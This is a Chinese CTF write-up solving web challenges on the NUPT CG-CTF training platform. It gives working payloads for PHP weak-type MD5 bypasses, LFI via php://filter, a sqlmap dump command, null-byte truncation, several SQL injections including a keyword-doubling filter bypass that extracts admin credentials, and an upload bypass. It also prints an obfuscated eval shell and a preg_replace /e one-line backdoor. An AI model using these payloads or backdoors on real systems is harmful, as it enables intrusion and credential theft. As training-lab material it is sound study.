南郵CTF攻防平台Writeup
By:Mirror王宇陽
個人QQ歡迎交流:2821319009
技術水平有限~大佬勿噴 _
Web題
簽到題:
直接一梭哈……
md5 collision:
題目源碼提示:
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
呃……腦中閃過“PHP弱類型”於是乎……當然是Google找一下嘍!
QNKCDZO的md5(32)加密后:0e830400451993494058024219903391
結合 $md51 == $md52
就要0e開頭的md5碰撞!感謝Google!
構造:http://chinalover.sinaapp.com/web19/?a=s878926199a
簽到2:
本能的直接源碼搜哈……
發現了字符輸入限制10位字符,而給出的指令是11位!得嘞……前端能看見的都能改 maxlength="11"
只要限制字符數超過11或等於11位就行!
這題不是Web:
題目都說了!這題不是web!然而面對這頁面……除了圖片還有啥?
既然只有圖片那么我就要再拿出寶貝了!WinHex (十六進制查看器)
多顯然的flag呀_……
層層遞進:
說來慚愧……看了源碼一臉懵逼……於是我分析題目發現硬核推薦的微博也沒得線索
在仔細一想!算了還是扣源碼吧於是一個手滑……
沒錯!隨便點了一下,進一個有一個!於是按照 SO.html
一路點下去
以為有驚喜!結果……
這是什么鬼呀……
不過!哪位高手給那摩多注釋,難不成睡覺的時候按到了 Ctrl+C
嗎 ???
然而其中暗藏玄機……
AAencode:
這個題目就得Google了解(這個東西叫做顏編碼)
首先,看看這頁面……不太像顏編碼呀?
更像是亂碼……於是!換一個編碼唄!
這樣才對嘛……
下一步就是要借助 Chrom 瀏覽器了(當然了在線的AAencode工具也可以)
單身二十年:
唉……這題目說的就是我呀!踩過前面題目的坑了!俺得好好的留意題目的提示:“手速”,也就是速度快唄……
不在?但是首頁告訴我可以找到呀!為什么呢?
手速……手速……手速……
后來留意了一下!
原來索引的位置不對呀!
看了一下跳轉!原來這個沒有flag頁面是從 http://chinalover.sinaapp.com/web8/search_key.php
頁面跳轉的
Burp抓包看一眼
在上一個頁面有一個自動跳轉……難怪要求手速快呢!難道不是要求“眼速快”嗎?
PHP decode:
題目源碼:“ 見到的一個類似編碼的shell,請解碼 ”
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
傻傻的看了源碼兩三分鍾!然后發現……一執行就有結果了!
文件包含:
題目直接提示了:LFI
點擊,但又說不???
從源碼中發現:file包含了show.php
文件,也就表示,file就是文件包含屬性,
既然提示我們可以利用LFI,那么就……讀一下源碼php吧!
http://4.chinalover.sinaapp.com/web7/index.php?
file=php://filter/read=convert.base64-encode/resource=index.php
利用php協議php:filter
讀取本地任意文件(file:// 需要詳細的URL路徑才可以哦)
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
哎呀!一不小心~flag出來了_
單身一百年也沒用:
啥意思?又來套路……Burp啟動
居然沒一點坑……呵呵
COOKIE:
看到題目提示:
0就是不的意思!那么1就是是的意思嘍
簡單通過……
MySQL:
按照提示:“Do you know robots.txt” 我們看一下robots
文件
通過對源碼的分析sql.php
頁面要求我們提交一個$id
參數,使intval($_GET[id])
1024,但是$_GET[$id]
1024 為假!也就是說我們需要同時保證兩個條件同時成立且為真。
int intval ( mixed $var [, int $base = 10 ] )
構造:函數轉為int整型
http://chinalover.sinaapp.com/web11/sql.php?id=1024e1
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
………………
GBK Injection:
哈哈!粗暴的題目!告訴我們GBK注入(寬字節注入)
直接丟進SQLmap跑一遍
python2 sqlmap.py --url "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6" -D sae-chinalover -T ctf4 --dump
嗯!確實全程sqlmap自動化,有點臉皮厚了……
/x00:
題目直接給出源碼:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
從源碼分析來看:輸入的$nctf
值必須符合“[1]+$”正則;且可以在strpos()
函數中找到“#biubiubiu”字符!
頭疼……不能輸入字符?Google一下了解函數的缺陷吧!
按照題目給的提示:“/x00” 發現ereg函數存在截斷漏洞:%xx截斷遇到%00則默認字符串結束;而strpos函數則越過或是說識別%00截斷后面的字符內容。
構造:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu
bypass again:
提示是“弱類型(參考文章)”;源碼梭哈一波:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
啥玩意?在找一找“0exxx”開頭的hash值;遇到了兩題這樣的!就順便解釋一下為什么0e開頭的會相等於呢??因為“0e”開頭的都會按照科學計數法轉為最后的整型數“0”。
構造:http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a
變量覆蓋:
題目就是指引!Google了解一下……
首先分析php源碼核心部分……
<?php
if($_SERVER["REQUEST_METHOD"] == "POST"){
extract($_POST);
if ($pass == $thepassword_123){
echo $theflag;
}
}
?>
簡單的解析一下源碼函數:
extract():從數組中將變量導入當前符號表;key>變量名 ; value>變量值。
我們只需要覆蓋變量並實現$pass == $thepassword_123
就可以得到flag了!
post提交pass=123&thepassword_123=123
就會被后台認為$pass=123、$thepassword_123=123
實現變量覆蓋……
偽裝者:
神秘叨叨的……
burp打開!xff頭改成127.0.0.1
居然不對……按理來說改下X-Forwarded-For
就可以了呀!!!
於是我Google了一下偽造客戶端IP的方法,發現除了X-F-F方法以外,還有一種Client-IP
上傳繞過:
題目提示我們猜猜源碼是如何寫的!
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="hidden" name="dir" value="/uploads/" />
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
這HTML頁面時非常簡單的文件上傳的功能,題目是要求繞過!
按照返回結果,可以確定,我們只有上傳的是可以解析的PHP文件才可以返回flag!
而且只允許jpg、gif、png等格式文件……
觀察一下返回數據包是如何后端校驗文件格式的!初步推定:后台校驗文件是否為圖片格式以后再判斷是否為php格式文件!
在后台會把file上傳的文件名和源碼中的dir元素Value進行拼接;轉向dir元素,因為它藏在源碼里!必然有用!再仔細的觀察了第二個檢驗php文件報錯回顯:
通過“/uploads”目錄下的文件進行校驗;回想兩次校驗的不同,第一次校驗圖片格式的時候是讀取上傳文件的后綴名,第二次校驗是根據目錄來找到文件進行校驗!
我們首先是繞過第一道圖片格式校驗的檢查,那么就要求我們的文件必須再上傳的時候是圖片格式。而保存的時候是dir元素的value和filename進行拼接的;如果我們修改了dir元素的value=“/uploads/1.php0x00” 也就是說在file經過第一道校驗后與dir元素value拼接:“/uploads/1.php0x00test.jpg” 而這段在后台被執行的時候被00截斷,保存為:“/uploads/1.php”
SQL注入:
題目給了源碼分析一波:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]); //trim():去除字符串兩側的空白字符
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
源碼告訴我們輸入的字符串兩側的空白字符會被刪掉;然后如何拼接字符;在者就是告訴我們admin用戶可以獲得flag,意味着我們要利用admin的身份注入!(手工注入)
經過觀察構造sql:
select user from ctf where (user='admin')#') and (pw='".$pass."')
我們需要的是構造user數據提交給后台:user=admin')#&pass=12345
pass check:
$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass)){
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
題目給出了源碼;分析一波……
strcmp()
:比較兩個字符串,且大小寫敏感; str1第一個字符串。str2第二個字符串。如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0;結合函數和源碼:pass==pass1 時返回flag
Google一下函數缺陷:期待的是傳入“合法字符串”,如果傳入的是非法的字符串則返回 return 0
既然指導了函數比較的缺陷,那么我們就傳入一個不合法的字符串,比如數組……
php為了可以上傳一個數組,會把上傳的變量結尾帶一對中括號當作數組上傳:key[]=xx
起名字真難:
<?php
function noother_says_correct($number)
{
$one = ord('1');//ord():返回ascii值
$nine = ord('9');
// one=49 ; nine=57 ;
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i}); //逐個返回number各個字符的ascii值
if ( ($digit >= $one) && ($digit <= $nine) )
{ // 判斷number內有沒有1~9的數字字符:有則返回false
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
綜合分析源碼:要求輸入的key不可以在1~9之間,但是要求等於54975581388
一開始也是比較煩的但是發現它的數字限制不包括“0”;於是想到了“十六進制”
key傳入十六進制數,在數字檢查中可以避開的,因為54975581388
=0xccccccccc
密碼重置:
題目要求對admin管理賬戶進行密碼重置,而郵箱收到了重置密碼的郵件html
抓包結果來看,我們需要以admin的身份重置密碼!同時也留意到url中的user1=Y3RmdXNlcg==
base解密結果為url1=ctfuser
SQL Injection:*
打開F12發現,源碼被注釋了!
#GOAL: login as admin,then get the flag; 以管理員身份登錄,然后獲取flag
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){ //獲取當前 magic_quotes_gpc 的配置選項設置
$str=stripslashes($str);
// stripslashes():刪除反斜杠
}
return htmlentities($str, ENT_QUOTES);
//把$str字符轉換為 HTML 實體 ENT_QUOTES:編碼可用雙引號和單引號
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
從源碼分析來開,重要的就是單引號也會被編碼!意味着我們輸入的單引號也會被編碼
構造: http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23
`
SELECT * FROM users WHERE name='\' AND pass='%20or%201%23'
即
SELECT * FROM users WHERE
name='\' AND pass=' 『 [name]的值為 [' AND pass=] ,顯然邏輯值為false 』
or 1 『 但沒關系,[false or 1] 的邏輯值為真』
#' 『 注釋掉多余的單引號 』
即
select * from users where false or 1
SQL注入2:
源碼:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
//mysql_fetch_array():結果集中取得一行作為關聯數組,或數字數組
//mysql_query():執行Mysql查詢
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
// strcasecmp():比較str1和str2,且不區分大小寫;
// 函數比較有一個缺陷就是:不管是str1>str2或str1==str2都返回“0”
// 也就是當passmd5處理后的值小於query[pw]就可以繞過
echo "<p>Logged in! Key: ntcf{**************} </p>";
} else {
echo("<p>Log in failure!</p>");
}
}
?>
題目提示我們使用”union“方法……
我們輸入的user 通過post提交給$user,后台通過$user返回pw字段,在strcasecmp()函數中比較pw和$pass。這是 正常的功能流程。
我們利用的點就是
strcasecmp()
函數的比較缺陷,這是我一開始的想法,但是想到題目的提示:“union”於是我想到了利用閉合union的方法;
構造
user='union select md5(a)# &pass=a
user的value為空,不存在該查詢則執行不成功;就會把union后一個查詢顯示在pw字段里,即我們查詢的是md5(a),結合sql語句的拼接,pw字段==md5(a)。
綜合題1:
是不是看不懂?沒啥看不懂得!這就是JsFuck
解碼后得到:1bc29b36f623ba82aaf6724fd3b16718.php
構造訪問后:
Response告訴我們tip字段提示:history of bash (bash的歷史)
發現了 flagbak.zip
,構造URL下載該文件並打開
綜合題2:*
查看到最后一個sm.txt(本CMS說明)頁面的時候發現了新大陸!
在這里它列出了:config.php
index.php
passencode.php
say.php
sm.txt
和admin表結構
同時我們分析URL時候,發現這個頁面存在文件包含哦~~~
知道了那么多源碼的文件名,我們試一試~~~
-
index.php源碼文件:
沒有利用之處,不占篇幅了……
-
passencode.php
<?php function passencode($content){ //$pass=urlencode($content); $array=str_split($content); $pass=""; for($i=0;$i<count($array);$i++){ if($pass!=""){ $pass=$pass." ".(string)ord($array[$i]); }else{ $pass=(string)ord($array[$i]); } } return $pass; } ?>
處理用戶輸入的密碼並進行ASCII加密處理
-
say.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php include 'config.php'; $nice=$_POST['nice']; $say=$_POST['usersay']; if(!isset($_COOKIE['username'])){ setcookie('username',$nice); setcookie('userpass',''); } $username=$_COOKIE['username']; $userpass=$_COOKIE['userpass']; if($nice=="" || $say==""){ echo "<script>alert('昵稱或留言內容不能為空!(如果有內容也彈出此框,不是網站問題喔~ 好吧,給個提示:查看頁面源碼有驚喜!)');</script>"; exit(); } $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $nice=mysql_real_escape_string($nice); $username=mysql_real_escape_string($username); $userpass=mysql_real_escape_string($userpass); $result=mysql_query("SELECT username FROM admin where username='$nice'",$con); $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con); if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){ echo "<script>alert('昵稱已被使用,請更換!');</script>"; mysql_free_result($login); mysql_free_result($result); mysql_close($con); exit(); } mysql_free_result($login); mysql_free_result($result); $say=mysql_real_escape_string($say); mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con); mysql_close($con); echo '<script>alert("構建和諧社會,留言需要經過管理員審核才可以顯示!");window.location = "./index.php"</script>'; ?>
處理用戶留言板的留言系統
-
config.php 不給讀 ……
-
so.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>搜索留言</title> </head> <body> <center> <div id="say" name="say" align="left" style="width:1024px"> <?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?> </div> </center> </body> </html>
哦對了!這個頁面在之前就有問題,就是限制了瀏覽器訪問!
“
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser")
”喏~
查完了sm.txt給的php文件,卻忘記了about.php這個頁面;點擊sm.txt的那個鏈接后來到了/about.php?file=sm.txt
一直在包含其它文件,卻忘了about.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file參數不能為空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目錄,禁止查看!但是。。。')</script>";
}
}
看到了一絲曙光:有一個敏感目錄loginxlcteam
打開一看,是個后台登錄頁面!是不是都瞬間有一種sql注入的沖動!但是我的直覺告訴我~~不可信
果然,看了一下前輩的思路,他們在so.php中發現了“include 'config.php'; include 'antiinject.php'; include 'antixss.php'”等文件被包含,其中antiinject.php
文件就是防止sql注入的
知道了有防注入的文件,就回到一開始發現的文件包含的位置查看該源碼:
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
從源碼中發現:過濾了"select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="
等關鍵字
應對的繞過方法:
應對關鍵字過濾,防御方式是把關鍵敏感單詞變為空;可以采用復寫的方式,即“ununionion”當過濾的時候,就會把中間的關鍵單詞變為空;
應對過濾空格;采用/**/
方式繞過;(當然了,也可以采用圓括號的方式)
明白了繞過的方法,就需要來sql注入了!注入點在哪?前輩給的方向是so.php
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id); // 過濾關鍵字和空格
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id); //轉義 SQL 語句中使用的字符串中的特殊字符
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result); mysql_free_result($file);
mysql_close($con);
?>
哦!對了,有一點要說一下哈~~~這個頁面處理的是用戶的留言數據,id內容實際上是留言板的ID,利用union select *,…
-
確定字段:
2 union select 1,2,3,4
-
注入構造:
-
表結構:
create table admin ( id integer, username text, userpass text, )
知道了表結構,就不用猜庫、猜表了
直接查數據……
soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4
pass(ascii加密): 102 117 99 107 114 117 110 116 117 => fuckruntu
soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(usernnameame)/**/ffromrom/**/aadmindmin),3,4
name:admin
-
-
在
http://cms.nuptzj.cn/loginxlcteam/index.php
后台中登錄
-
打開
xlcteam.php
文件(利用之前發現的文件包含)<?php $e = $_REQUEST['www']; // preg_replace $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>
一開始看不懂這個馬!后來查了一下代碼得知: 三參數回調函數
array_walk(array,function,parameter):
array:數組
function:用戶自定義的函數名稱(preg_replace:正則函數)
parameter:可選
菜刀一連!找到flag文件就可以了……
這是CG-CTF做的最充裕、收獲最大的一題
密碼重置2:
TIPS:
1.管理員郵箱觀察一下就可以找到
2.linux下一般使用vi編輯器,並且異常退出會留下備份文件
3.弱類型bypass
我們從源碼中觀察到了管理員郵箱:admin@nuptzj.cn
Vi編輯器 + 留下備份文件:vi的備份文件格式是:.[filename].swp
構造訪問:http://nctf.nuptzj.cn/web14/.submit.php.swp
下載文件:wget http://nctf.nuptzj.cn/web14/.submit.php.swp
........這一行是省略的代碼........
/*
如果登錄郵箱地址不是管理員則 die()
數據庫結構
--
-- 表的結構 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 轉存表中的數據 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/
........這一行是省略的代碼........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
// 要求token為十位且為零 否則退出腳本並輸出fail
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){ //只有當sql查詢的count(*)也就是num大於或等於零的時候才會輸出flag
echo $flag;
}else{
echo "失敗了呀";
}
}
綜上!我們知道了獲得flag的方法:
輸入的用戶名為:admin@nuptzj.cn
輸入的token:十位數且為“0”(符合提示的第三條)
要求十位數且結果為零的花,又想到了科學技術法 token=0e12345678
file_get_contents:
頁面源碼:
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
//file_get_contents():將整個文件讀入一個字符串中
echo $nctf;
}-->
從源碼提示來看:要求我們包含的文件中的內容是“meizijiu”,並用file_get_contents()函數讀取
這里需要引用的技術就是php協議:php://input
:功能就是將data數據寫入並可執行; 訪問請求的原始數據的只讀流。
變量覆蓋2:
源碼:
foreach($_GET as $key => $value){
// foreach():循環語句 常用於遍歷數組
// GET方式傳入數組
$$key = $value; //可變變量,一個可變變量獲取了普通變量的值,作為這個可變變量的值
/* $$x:解釋 ~ ~ ~
$x = "abc";
$$x = 200;
echo $x."<br/>"; // abc
echo $$x."<br/>"; // 200
echo $abc; // 200
》 $abc <= $$x <= $x == abc //也就是$$x 把 $x 的值變成了一個變量
*/
}
if($name == "meizijiu233"){
echo $flag;
}
GET傳入數組['name'=>'meizijiu233']
構造:http://chinalover.sinaapp.com/web24/?name=meizijiu233
By:Mirror王宇陽 2019年12月6日
留:周末刷了南京郵電大學CTF平台的Web題,以上是個人總結的思路Writeup
注:平台又小部分題目,筆者這里無法打開,所以就沒有做……
最后附上平台網址:https://cgctf.nuptsast.com/challenges#Web
感謝CG-CTF平台給的環境哦&_&
1-9 ↩︎